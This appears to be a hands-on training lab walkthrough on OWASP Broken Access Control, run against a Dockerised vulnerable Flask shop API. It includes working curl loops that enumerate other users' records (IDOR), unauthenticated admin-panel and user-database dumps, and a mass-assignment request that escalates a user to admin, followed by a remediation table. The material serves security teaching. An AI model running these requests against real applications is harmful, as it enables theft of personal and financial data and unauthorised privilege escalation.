Exploit real Broken Access Control vulnerabilities on a live vulnerable server using Kali Linux tools: enumerate hidden endpoints with gobuster, exploit IDOR to steal PII and credit cards from other users, access unauthenticated admin panels, perform path traversal to read system files, and escalate privileges via mass assignment — then observe the secured version that blocks every attack.
Background
Broken Access Control is the #1 OWASP vulnerability (2021), found in 94% of applications tested. It covers any situation where users can act outside their intended permissions: reading other users' data (IDOR), accessing admin pages without credentials, traversing file paths, or escalating their own privileges. Unlike SQL injection, these bugs require no special encoding — just changing an ID number in a URL.
Attacker: zchencow/innozverse-kali:latest (Kali Linux with pentest tools)
Lab Instructions
Step 1: Environment Setup — Launch Victim Server
Open a terminal and run these commands to create the lab network and start the vulnerable target:
📸 Verified Output:
💡 The victim server is victim-a01 on the lab-a01 Docker network. Docker's internal DNS resolves victim-a01 to the container's IP automatically. The Kali attacker container will reference the target by hostname — exactly like attacking a machine on your LAN.
Step 2: Launch Kali Attacker — Recon Phase
You are now inside Kali Linux on the same network as the victim. All subsequent commands run inside this Kali container:
📸 Verified Output:
Step 3: Service Fingerprinting — nmap + whatweb
📸 Verified Output:
💡 Fingerprinting tells us the server is Python/Flask (Werkzeug). This matters: Flask apps commonly have IDOR bugs (no ORM-level access control), debug mode exposure, and predictable error formats. A real attacker uses this to select the right payloads.
Step 4: Directory Enumeration — gobuster
📸 Verified Output:
📸 Verified Output:
Step 5: IDOR Attack — Steal All Users' PII
Scenario: You are logged in as bob (user ID 3). The API endpoint /api/users/<id> returns any user record — no ownership check.
📸 Verified Output:
📸 Verified Output:
💡 IDOR (Insecure Direct Object Reference) is the #1 API vulnerability. The attacker simply increments the ID number. In real applications, this exposes millions of records. The fix is a single server-side check: if order.user_id != current_user.id: return 403. No framework does this automatically — every developer must add it explicitly.
Step 6: IDOR on Orders — Financial Data Exposure
📸 Verified Output:
Step 7: Unauthenticated Admin Panel — Zero Auth Required
📸 Verified Output:
Step 8: Path Traversal — Read System Files
📸 Verified Output:
Step 9: Mass Assignment — Privilege Escalation
📸 Verified Output:
💡 Mass assignment is when the server blindly applies all client-supplied fields. The fix is an explicit allowlist: only permit {username, email, password} to be updated via this endpoint. The role field must only be settable by an admin via a separate privileged endpoint.
Step 10: Cleanup
Back on your host:
Remediation — What the Fix Looks Like
Vulnerability
Vulnerable Code
Fix
IDOR (users)
SELECT * FROM users WHERE id=? no owner check
WHERE id=? AND id=current_user_id
IDOR (orders)
Returns any order by ID
WHERE id=? AND user_id=current_user_id
No auth on admin
No decorator
@require_role('admin') on every admin route
Path traversal
path = request.args.get('path') used directly
Allowlist of safe paths; os.path.abspath + prefix check
Mass assignment
Update any field from request body
Explicit allowlist: only {username, email, password}
# Confirm victim is reachable from Kali
ping -c 2 victim-a01
# Set target variable
TARGET="http://victim-a01:5000"
PING victim-a01 (172.18.0.2): 56 data bytes
64 bytes from 172.18.0.2: icmp_seq=0 ttl=64 time=0.134 ms
# nmap: identify service, version, OS hints
nmap -sV -p 5000 victim-a01
# whatweb: identify web tech stack
whatweb $TARGET
PORT STATE SERVICE VERSION
5000/tcp open http Werkzeug httpd 3.1.6 (Python 3.10.12)
http://victim-a01:5000/ [200 OK] HTTPServer[Werkzeug/3.1.6 Python/3.10.12],
Python[3.10.12], Title[InnoZverse Shop API v1], Werkzeug[3.1.6]
# As bob, I should only see MY OWN profile
# But let's try every user ID:
echo "=== IDOR: Enumerating all user records ==="
for id in 1 2 3 4; do
echo ""
echo "[*] Requesting /api/users/$id (attacker is bob=3)"
curl -s \
-H "Authorization: Bearer token_bob" \
$TARGET/api/users/$id | python3 -m json.tool
done
echo "=== IDOR: Enumerating all order records ==="
for id in 1 2 3 4 5; do
echo "[*] /api/orders/$id"
curl -s -H "Authorization: Bearer token_bob" \
$TARGET/api/orders/$id
echo
done
[*] /api/orders/1
{"address":"1 Admin St","amount":0.0,"id":1,"product":"Surface Pro 12 (Admin)","user_id":1}
[*] /api/orders/2
{"address":"123 Alice Lane","amount":864.0,"id":2,"product":"Surface Pro 12","user_id":2}
[*] /api/orders/5
{"address":"123 Alice Lane","amount":99.99,"id":5,"product":"Microsoft 365","user_id":2}
echo "=== Accessing admin panel without credentials ==="
# No token, no password — just hit the endpoint
curl -s $TARGET/admin/panel | python3 -m json.tool
echo ""
echo "=== Full user database dump — no auth ==="
curl -s $TARGET/admin/users | python3 -m json.tool
echo "=== Mass Assignment: escalate bob from user → admin ==="
# Current role
echo "[*] Bob's current role:"
curl -s -H "Authorization: Bearer token_bob" \
$TARGET/api/profile | python3 -m json.tool | grep role
# Attack: send role=admin in the update body
echo ""
echo "[*] Sending PUT with role=admin..."
curl -s -X PUT \
-H "Authorization: Bearer token_bob" \
-H "Content-Type: application/json" \
-d '{"role":"admin"}' \
$TARGET/api/profile | python3 -m json.tool
# Confirm escalation
echo ""
echo "[*] Bob's role after attack:"
curl -s -H "Authorization: Bearer token_bob" \
$TARGET/api/profile | python3 -m json.tool | grep role
[*] Bob's current role:
"role": "user"
[*] Sending PUT with role=admin...
{
"applied": ["role"],
"message": "Updated"
}
[*] Bob's role after attack:
"role": "admin"
# Exit the Kali container first (Ctrl+D or exit)
exit